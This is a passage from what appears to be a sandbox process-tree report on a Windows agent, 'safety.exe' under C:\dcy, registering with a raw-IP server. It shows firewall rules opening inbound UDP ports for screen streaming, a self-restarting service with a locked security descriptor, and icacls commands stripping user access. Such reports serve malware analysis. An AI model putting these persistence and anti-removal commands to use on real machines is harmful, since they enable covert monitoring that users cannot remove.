        "C:\Windows\system32\cmd.exe" /c reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "DongchaYan Agent Watchdog" /f >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3508
      - C:\Windows\System32\reg.exe
        
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "DongchaYan Agent Watchdog" /f
        6⤵
        
        PID:2888
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "DongchaYan Agent Service" /f >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4800
      - C:\Windows\System32\reg.exe
        
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "DongchaYan Agent Service" /f
        6⤵
        
        PID:4664
    - - C:\dcy\Client\safety.exe
        
        "C:\dcy\Client\safety.exe" --init-config --server-url "http://134.122.189.138:5088"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:3312
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c netsh advfirewall firewall delete rule name="safety live screen udp" program="C:\dcy\Client\safety.exe" >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5540
      - C:\Windows\System32\netsh.exe
        
        netsh advfirewall firewall delete rule name="safety live screen udp" program="C:\dcy\Client\safety.exe"
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:5032
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c netsh advfirewall firewall add rule name="safety live screen udp" dir=in action=allow program="C:\dcy\Client\safety.exe" enable=yes profile=any protocol=UDP localport=40000-40020 >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3100
      - C:\Windows\System32\netsh.exe
        
        netsh advfirewall firewall add rule name="safety live screen udp" dir=in action=allow program="C:\dcy\Client\safety.exe" enable=yes profile=any protocol=UDP localport=40000-40020
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:1556
    - - C:\dcy\Client\safety.exe
        
        "C:\dcy\Client\safety.exe" --install-service
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1944
      - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" query safety
        6⤵
        
        PID:4820
      - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" description safety "safety endpoint service"
        6⤵
        Launches sc.exe
        
        PID:6080
      - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" failure safety reset= 86400 actions= restart/5000/restart/5000/restart/10000
        6⤵
        Launches sc.exe
        
        PID:2836
      - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" failureflag safety 1
        6⤵
        
        PID:468
      - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWRPLOCRRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
        6⤵
        
        PID:5420
      - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" start safety
        6⤵
        
        PID:3916
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c icacls "C:\dcy" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C >nul 2>nul
        5⤵
        Executes a command shell one-liner
        
        PID:2492
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:2316
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c for /d /r "C:\dcy" %G in (*) do icacls "%G" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C >nul 2>nul
        5⤵
        Executes a command shell one-liner
        
        PID:240
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:1932
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\af-ZA" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:204
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\agent-cache" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:948
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\am-ET" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        Modifies file permissions
        
        PID:4240
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ar-SA" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3112
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\az-Latn-AZ" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        Modifies file permissions
        
        PID:3312
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\be-BY" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:2736
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\bg-BG" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        Modifies file permissions
        
        PID:3664
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\bn-BD" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:5776
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\bs-Latn-BA" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3224
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ca-ES" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:2928
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\cs" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:5032
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\cs-CZ" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:5016
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\da-DK" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:1484
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\de" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:2548
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\de-DE" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:1140
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\el-GR" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        Modifies file permissions
        
        PID:2100
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\en-GB" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:552
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\es" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:1996
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\es-ES" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:4180
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\es-MX" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:6124
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\et-EE" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:4548
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\eu-ES" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:4952
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\fa-IR" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:4748
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\fi-FI" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:5852
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\fr" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3500
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\fr-CA" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:5360
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\fr-FR" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:1096
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\gl-ES" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:5384
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\he-IL" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3520
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\hi-IN" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:4576
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\hr-HR" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:2096
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\hu-HU" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:4508
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\id-ID" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        Modifies file permissions
        
        PID:5520
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\is-IS" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3216
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\it" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3396
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\it-IT" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:2620
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ja" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:1168
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ja-JP" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        Modifies file permissions
        
        PID:1816
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ka-GE" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:2060
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\kk-KZ" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:4784
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\km-KH" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:4760
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\kn-IN" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:1736
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ko" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:2684
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ko-KR" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:4204
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\lo-LA" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:4340
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\lt-LT" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3732
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\lv-LV" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3472
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\mk-MK" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3428
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ml-IN" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3136
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ms-MY" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        Modifies file permissions
        
        PID:4996
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\nb-NO" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:4388
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\nl-NL" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3360
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\nn-NO" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        Modifies file permissions
        
        PID:3440
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pl" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:5204
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pl-PL" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:2616
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:2228
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pt-PT" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:5524
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ro-RO" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3868
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ru" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:2908
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ru-RU" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:5364
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\sk-SK" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:2840
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\sl-SI" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:5308
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\sq-AL" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:4728
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\sr-Latn-RS" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3604
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\sv-SE" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3816
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\sw-KE" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:5888
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ta-IN" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:4912
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\te-IN" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:2452
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\th-TH" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:4344
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\tools" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:996
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\tr" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:1756
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\tr-TR" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:2512
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\uk-UA" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3916
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\uz-Latn-UZ" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:5420
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\vi-VN" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:4880
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:4612
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:4564
      - C:\Windows\System32\icacls.exe
        
